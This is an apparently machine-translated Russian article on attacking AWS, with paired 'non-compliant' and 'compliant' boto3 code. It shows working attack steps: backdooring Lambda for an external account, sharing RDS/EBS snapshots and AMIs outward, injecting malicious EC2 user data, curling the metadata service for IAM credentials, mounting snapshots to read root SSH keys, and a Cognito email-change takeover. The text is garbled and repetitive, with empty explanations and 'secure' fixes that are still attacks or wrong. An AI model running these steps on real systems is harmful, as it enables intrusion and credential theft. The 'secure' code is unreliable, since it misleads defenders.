Поскольку предприятия все чаще переносят свои операции на Amazon Web Services (AWS), важность надежных мер облачной безопасности невозможно переоценить. Тем не менее, несмотря на обещания беспрецедентной масштабируемости и эффективности, среды AWS стали главной мишенью для киберзлоумышленников. В этой статье мы приступаем к исследованию сложной ситуации с атаками на AWS, анализируя множество уязвимостей и эксплойтов, которые угрожают целостности облачных развертываний. От неправильных конфигураций и внутренних угроз до изощренных кибератак — мы изучаем методы, используемые злоумышленниками для проникновения, компрометации и использования инфраструктур AWS. Освещая эти уязвимости, мы стремимся вооружить организации знаниями, необходимыми для укрепления их защиты и снижения рисков, присущих работе в облаке.
Шаг 1. Моделирование атаки на несоответствующий код
Атака 1: Использование слабых паролей
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access 'my-bucket' with weak authentication
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('my-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
Этот код пытается загрузить файл в «my-bucket», используя метод слабой аутентификации, используемый в несовместимом коде.
Атака 2: Использование неограниченного доступа
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access 'public-bucket' which is publicly accessible
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
Этот код пытается загрузить файл в «public-bucket», который был опубликован в несовместимом коде.
Атака 3: попытка несанкционированного прекращения работы API
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to terminate an EC2 instance which doesn't have API termination protection enabled
import boto3
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=[{'Name': 'instance-state-name', 'Values': ['running']}])
for instance in instances:
try:
instance.terminate()
print("Instance terminated successfully")
except Exception as e:
print("Termination failed:", e)
Этот код пытается завершить работу экземпляров EC2, используя отсутствие защиты от завершения API, как видно в несовместимом коде.
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде из-за недостаточных настроек безопасности могут возникнуть несанкционированный доступ, утечка данных и потенциальное завершение работы экземпляра.
Шаг 3. Реализация строгих мер безопасности
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
Чтобы проверить эффективность совместимого кода, повторно запустите коды атак в совместимой среде. Вы заметите, что:
Шаг 1. Моделирование атак на несоответствующий код
Атака 1: Несанкционированный доступ к конфиденциальным данным
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access sensitive data stored without encryption
import boto3
s3 = boto3.client('s3')
try:
response = s3.get_object(Bucket='my-bucket', Key='data.txt')
print("Sensitive data retrieved successfully:", response['Body'].read())
except Exception as e:
print("Access denied:", e)
Атака 2: Использование отсутствия контроля доступа
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access data from 'public-bucket' which lacks proper access control
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.download_file('data.txt', 'downloaded_data.txt')
print("File downloaded successfully")
except Exception as e:
print("Access denied:", e)
Атака 3: Тестирование отсутствия резервного копирования данных
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to create a snapshot without a proper backup plan
import boto3
rds = boto3.client('rds')
try:
rds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db')
print("Snapshot created successfully")
except Exception as e:
print("Snapshot creation failed:", e)
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде из-за небезопасных методов хранения данных может произойти несанкционированный доступ к конфиденциальным данным, раскрытие данных и отсутствие механизмов резервного копирования.
Шаг 3. Реализация мер по безопасному хранению данных
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
Повторно запустите коды атаки в соответствующей среде, чтобы проверить эффективность мер безопасности. Вы заметите, что:
Шаг 1. Моделирование атак на несоответствующий код
Атака 1: Использование слабой группы безопасности
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to deploy an instance using a weak security group
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['weak-security-group-id'], # Using weak security group
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Атака 2: Использование отсутствия тегов
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to deploy an instance without proper tagging
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде экземпляры могут быть развернуты со слабыми конфигурациями безопасности или без надлежащей маркировки, что приводит к потенциальным уязвимостям безопасности и трудностям в управлении ресурсами.
Шаг 3. Реализация мер по безопасному развертыванию
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
Повторно запустите коды атаки в соответствующей среде, чтобы проверить эффективность мер безопасности. Вы заметите, что атаки не могут использовать слабые конфигурации безопасности или отсутствие правильной маркировки.
Несоответствующий код
Следующий несоответствующий код демонстрирует использование бэкдора функции Lambda без учета рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
print("Lambda function backdoored successfully.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
Объяснение:
Следующий совместимый код демонстрирует бэкдор-функцию Lambda с соблюдением лучших практик безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
if response['ResponseMetadata']['HTTPStatusCode'] == 201:
print("Lambda function backdoored successfully.")
else:
print("Failed to backdoor Lambda function.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует перезапись кода функции Lambda без учета рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code
)
print("Lambda function code overwritten successfully.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
Объяснение:
Следующий совместимый код демонстрирует перезапись кода функции Lambda с соблюдением рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code,
Publish=True # Publish a new version of the Lambda function
)
if response['ResponseMetadata']['HTTPStatusCode'] == 200:
print("Lambda function code overwritten successfully.")
else:
print("Failed to overwrite Lambda function code.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует создание якоря доверия IAM Roles Anywhere без соблюдения рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.create_service_specific_credential(
UserName=role_name,
ServiceName='roles-anywhere.amazonaws.com'
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['ServiceSpecificCredential']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----')
Объяснение:
Следующий совместимый код демонстрирует создание якоря доверия IAM Roles Anywhere с соблюдением лучших практик безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.upload_signing_certificate(
UserName=role_name,
CertificateBody=trust_anchor_certificate
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['Certificate']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----')
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для обмена снимком RDS с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the RDS snapshot with the external AWS account
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToAdd=[account_id]
)
Объяснение:
Следующий совместимый код демонстрирует, как правильно защитить снимки RDS и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Revoke sharing permissions from the RDS snapshot
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToRemove=['all']
)
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может изменить политику сегмента, чтобы предоставить доступ к внешней учетной записи AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::012345678901:root"
},
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
Объяснение:
Следующий совместимый код демонстрирует, как правильно защитить корзину S3, удалив несанкционированный доступ из политики корзины:
КОПИРОВАТЬ
КОПИРОВАТЬ
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для совместного использования AMI с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the AMI with the external AWS account
ec2_client.modify_image_attribute(
ImageId=ami_id,
LaunchPermission={
'Add': [{'UserId': account_id}]
}
)
Объяснение:
Следующий совместимый код демонстрирует, как правильно защитить AMI и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Revoke public launch permissions from the AMI
ec2_client.reset_image_attribute(
ImageId=ami_id,
Attribute='launchPermission'
)
Объяснение:
Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для обмена снимком EBS с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the snapshot with the external AWS account
ec2_client.modify_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission',
CreateVolumePermission={
'Add': [{'UserId': account_id}]
}
)
Объяснение:
Следующий совместимый код демонстрирует, как правильно защитить снимки EBS и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Revoke public sharing permissions from the snapshot
ec2_client.reset_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission'
)
Объяснение:
Несоответствующий код
Следующий несоответствующий код напрямую использует AWS SDK (boto3) для запуска различных команд обнаружения в экземпляре EC2:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
Объяснение:
Следующий совместимый код демонстрирует, как правильно защитить выполнение команд обнаружения на экземпляре EC2 путем явного предоставления учетных данных AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
Объяснение:
Несоответствующий код
Следующий несоответствующий код использует AWS SDK (boto3) для получения пользовательских данных для нескольких экземпляров EC2. Предполагается, что для кода доступны необходимые учетные данные и разрешения AWS, что позволяет любому, у кого есть доступ, запустить этот код для получения пользовательских данных. Этот код не имеет надлежащей авторизации и может раскрыть конфиденциальную информацию неавторизованным лицам:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
Соответствующий код
Следующий совместимый код демонстрирует, как правильно защитить получение пользовательских данных экземпляра EC2 путем явного предоставления учетных данных AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
Объяснение:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Stop the EC2 instance
ec2_client.stop_instances(InstanceIds=[instance_id])
# Modify the user data of the EC2 instance to execute malicious commands
user_data_script = '#!/bin/bash\n\nmalicious_command\n'
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_script
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
Объяснение:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
import base64
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Define the user data script (base64-encoded)
user_data_script = '#!/bin/bash\n\nmalicious_command\n'
user_data_base64 = base64.b64encode(user_data_script.encode()).decode()
# Modify the user data of the EC2 instance
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_base64
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
# Print a success message
print(f"User data modified for instance {instance_id}. Malicious command will execute upon startup.")
Объяснение:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
import botocore
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
try:
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print("Permission denied to retrieve EC2 password data.")
else:
print("An error occurred while retrieving EC2 password data.")
return None
Объяснение:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Объяснение:
1. Обнаружение конфиденциальной информации:
КОПИРОВАТЬ
TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
КОПИРОВАТЬ
echo $TOKEN
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ServerManager
КОПИРОВАТЬ
[default]
aws_access_key_id = ASIAWA6NVTVY5CNUKIUO
aws_secret_access_key = wSHLoJrGVnjfo+xxKwt1cblFpiZgWF20DMxXpTXn
aws_session_token = IQoJb3JpZ2luX2VjECEaDGV1LWNlbnRyYWwtMSJIMEYCIQCnZUyvONtQlYo9E7wvsBQp5yozH/EiPnO4BoXXajyIiwIhAMsOP10IS+ItChhHgzvKMprEPJkKpWl5GKTH3hInYv6gKt8ECLr//////////wEQABoMNDE0MzU4ODA1ODczIgyan7zp7MCE5SEbGO4qswTx/skDLRfBDHMnkXE9rzH7YXvEjXchuasGVywChi9vFyoujll7wc3gmts+LRrgrTC+lV5p/uDC3iHloXiPuEgf6YDRB0OoX4J9jKooGxBAmbdhyvL6kivHlywONtLE8mcf3SrC3ZZqyJ/5KQX+NWNt8Vj1GC/HNssYuToHOLExmUsm5Pw3VgElvcgRaovgU3hwQGLBh7gXCFzp4rAW57jaOcARGQJQr/ONYzgSIZ9LNqMjSBZwREVmTJVhzrDbz7AoPdERnz+K374jd/s+3k7ujBgYxOlk/0Osl7J2+79Wj5+7TDfQXulic/bEwJdCdFX1gcpN5CG3uXnQZQ1USwX4Zb6TSPvHutOOpDjX9pvG2qPt7QC5SV3EuDSOLNvPVrFExOKJcaQhryhZW56hHBpUyVkl5USV2KiAPaniJ6RjYewBX844ddYYaJGp9UEQSxovXPh0mwEKenVTegi3db1bMPkX0CT7IS4GO6bv71/++zQp+pl3fOvp9ixbAa3vzbawLQvpENHpDyRH9K6UT1VPFGK4tbgmrUmBytYp1SKc5UvEDJFg51htlk19MXO3F3fSUWPB5kuo6AEpxnzqElWagBVwswgt6hh0spVjm7PAoO7xTm9yfEc60li/RYGnT4PRQmlbiXiB/sdHVcM29Fmkg7aKo013z06OYNuzIF+Bldf2ziuL8rFM1aU0Af77lUNgpAto0A38iY3a1vBr9xpUJ6ZaXVxMXCbIKG8vTZ94P4f8+TD2idKfBjqoAT5RSXeKY76pZ+P1vOIE+btQjCYsqFzhQwDsk06w+9G89Pa5dVMvhOI0NT0foZeX7aJFhcHigrC5pPkooNQ0wBm1waotdwDTPEKAOwL8HHvtUiuohdR6kYNxKwzqt6g61HcNVd2qzoxf31uDMquXq3OdvcPZHR4LyitKGcptgjQ21ZzcIiuqsqg4k879O8D8v4U3GBSQk7B5UK/2pVKPmqLs/X4cTxUkmQ==
КОПИРОВАТЬ
aws sts get-caller-identity
КОПИРОВАТЬ
aws iam list-attached-role-policies --role-name ServerManager
КОПИРОВАТЬ
./enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --session-token SESSION_TOKEN
КОПИРОВАТЬ
-- dynamodb.describe_endpoints() worked!
-- sts.get_caller_identity() worked!
-- ec2.describe_volumes() worked!
escribeVolumes, злоумышленники могут тщательно разработать путь атаки для повышения привилегий до суперпользователя или получения несанкционированного доступа к конфиденциальным данным, находящимся в системе. Эта гнусная тактика, часто встречающаяся в тестах на проникновение и оценках красной команды, подчеркивает важность надежных мер безопасности в облачных средах, таких как AWS. Используя возможности, предоставляемые разрешениями, злоумышленники могут пройти последовательность атак, начиная с перечисления доступных томов (ec2
escribeVolumes) и заканчивая созданием общедоступных резервных копий или снимков (ec2:CreateSnapshot). Кроме того, распространенность неправильных конфигураций, таких как непреднамеренный обмен снимками со всеми пользователями AWS, увеличивает риск, потенциально позволяя злоумышленникам использовать свои собственные учетные записи AWS для прикрепления этих снимков в качестве дополнительных жестких дисков к новым экземплярам EC2, тем самым расширяя их охват и потенциал для вредоносная деятельность.
КОПИРОВАТЬ
aws ec2 describe-volumes
КОПИРОВАТЬ
aws ec2 create-snapshot --volume-id vol-02ca4df63c5cbb8c5 --description 'Y-Security rocks!'
КОПИРОВАТЬ
sudo mount /dev/sdb1 /media/
sudo ls /media/root/.ssh
sudo cat /media/root/.ssh/id_rsa
КОПИРОВАТЬ
КОПИРОВАТЬ
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
Content-Type: application/json
{
"AuthFlow": "USER_PASSWORD_AUTH",
"ClientId": "3ck15a1ov4f0d3o97vs3tbjb52",
"AuthParameters": {
"USERNAME": "[email protected]",
"PASSWORD": "[REDACTED]",
"DEVICE_KEY": "us-east-1_070[...]"
},
"ClientMetadata": {}
}
КОПИРОВАТЬ
КОПИРОВАТЬ
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token [REDACTED] --user-attributes Name=email,Value=[email protected]
Недостаточная конфигурация безопасности
Чтобы проиллюстрировать влияние неправильных настроек безопасности и эффективность строгих мер безопасности, давайте смоделируем атаки на несоответствующий код и продемонстрируем, как совместимый код снижает эти риски.Шаг 1. Моделирование атаки на несоответствующий код
Атака 1: Использование слабых паролей
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access 'my-bucket' with weak authentication
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('my-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
Этот код пытается загрузить файл в «my-bucket», используя метод слабой аутентификации, используемый в несовместимом коде.
Атака 2: Использование неограниченного доступа
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access 'public-bucket' which is publicly accessible
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
Этот код пытается загрузить файл в «public-bucket», который был опубликован в несовместимом коде.
Атака 3: попытка несанкционированного прекращения работы API
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to terminate an EC2 instance which doesn't have API termination protection enabled
import boto3
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=[{'Name': 'instance-state-name', 'Values': ['running']}])
for instance in instances:
try:
instance.terminate()
print("Instance terminated successfully")
except Exception as e:
print("Termination failed:", e)
Этот код пытается завершить работу экземпляров EC2, используя отсутствие защиты от завершения API, как видно в несовместимом коде.
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде из-за недостаточных настроек безопасности могут возникнуть несанкционированный доступ, утечка данных и потенциальное завершение работы экземпляра.
Шаг 3. Реализация строгих мер безопасности
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
- Надежный и уникальный пароль, используемый в «my-bucket», гарантирует, что только авторизованные пользователи смогут загружать файлы.
- Ограничение «частного сегмента» частным доступом предотвращает несанкционированный доступ к ресурсам.
- Включение защиты от завершения API на экземплярах EC2 предотвращает несанкционированное завершение.
Чтобы проверить эффективность совместимого кода, повторно запустите коды атак в совместимой среде. Вы заметите, что:
- Атака 1 не позволяет загрузить файлы в «my-bucket» из-за метода строгой аутентификации.
- Атака 2 не позволяет загрузить файлы в «частную корзину», поскольку она не является общедоступной.
- Атаке 3 не удается завершить работу экземпляров EC2 из-за включенной защиты от завершения API.
Небезопасное хранение данных
Чтобы продемонстрировать влияние небезопасных методов хранения данных и эффективность мер безопасного хранения данных, давайте смоделируем атаки на несоответствующий код и покажем, как совместимый код снижает эти риски.Шаг 1. Моделирование атак на несоответствующий код
Атака 1: Несанкционированный доступ к конфиденциальным данным
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access sensitive data stored without encryption
import boto3
s3 = boto3.client('s3')
try:
response = s3.get_object(Bucket='my-bucket', Key='data.txt')
print("Sensitive data retrieved successfully:", response['Body'].read())
except Exception as e:
print("Access denied:", e)
Атака 2: Использование отсутствия контроля доступа
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to access data from 'public-bucket' which lacks proper access control
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.download_file('data.txt', 'downloaded_data.txt')
print("File downloaded successfully")
except Exception as e:
print("Access denied:", e)
Атака 3: Тестирование отсутствия резервного копирования данных
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to create a snapshot without a proper backup plan
import boto3
rds = boto3.client('rds')
try:
rds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db')
print("Snapshot created successfully")
except Exception as e:
print("Snapshot creation failed:", e)
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде из-за небезопасных методов хранения данных может произойти несанкционированный доступ к конфиденциальным данным, раскрытие данных и отсутствие механизмов резервного копирования.
Шаг 3. Реализация мер по безопасному хранению данных
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
- Конфиденциальные данные хранятся с шифрованием AES256, что предотвращает несанкционированный доступ, даже если данные скомпрометированы.
- Контроль доступа реализован для ограничения доступа к хранимым данным, обеспечивая доступ к ним только авторизованным пользователям.
- Имеется план резервного копирования и аварийного восстановления данных, а также создаются моментальные снимки, позволяющие восстановить данные в случае инцидентов.
Повторно запустите коды атаки в соответствующей среде, чтобы проверить эффективность мер безопасности. Вы заметите, что:
- Атаке 1 не удалось получить конфиденциальные данные из-за шифрования.
- Атака 2 не позволяет загрузить данные из «частной корзины» из-за надлежащего контроля доступа.
- При атаке 3 не удается создать снимок, что указывает на наличие резервного плана.
Небезопасное развертывание и управление конфигурациями
Чтобы продемонстрировать влияние небезопасных методов развертывания и управления конфигурацией, а также эффективность мер безопасного развертывания, давайте смоделируем атаки на несоответствующий код и покажем, как совместимый код снижает эти риски.Шаг 1. Моделирование атак на несоответствующий код
Атака 1: Использование слабой группы безопасности
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to deploy an instance using a weak security group
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['weak-security-group-id'], # Using weak security group
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Атака 2: Использование отсутствия тегов
КОПИРОВАТЬ
КОПИРОВАТЬ
# Attempting to deploy an instance without proper tagging
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Шаг 2. Демонстрация воздействия атак
При запуске вышеуказанных кодов атаки в несоответствующей среде экземпляры могут быть развернуты со слабыми конфигурациями безопасности или без надлежащей маркировки, что приводит к потенциальным уязвимостям безопасности и трудностям в управлении ресурсами.
Шаг 3. Реализация мер по безопасному развертыванию
Теперь давайте продемонстрируем, как совместимый код предотвращает эти атаки:
- Соответствующий код включает соответствующие теги для лучшего управления и идентификации ресурсов, что упрощает отслеживание экземпляров и управление ими.
- Сопоставления блочных устройств настраиваются с использованием соответствующего размера и типа тома, что обеспечивает оптимальную производительность и емкость хранилища.
- Соответствующий код использует идентификаторы групп безопасности с правильными конфигурациями, следуя принципу минимальных привилегий.
Повторно запустите коды атаки в соответствующей среде, чтобы проверить эффективность мер безопасности. Вы заметите, что атаки не могут использовать слабые конфигурации безопасности или отсутствие правильной маркировки.
Бэкдор-функция Lambda с помощью политики на основе ресурсов
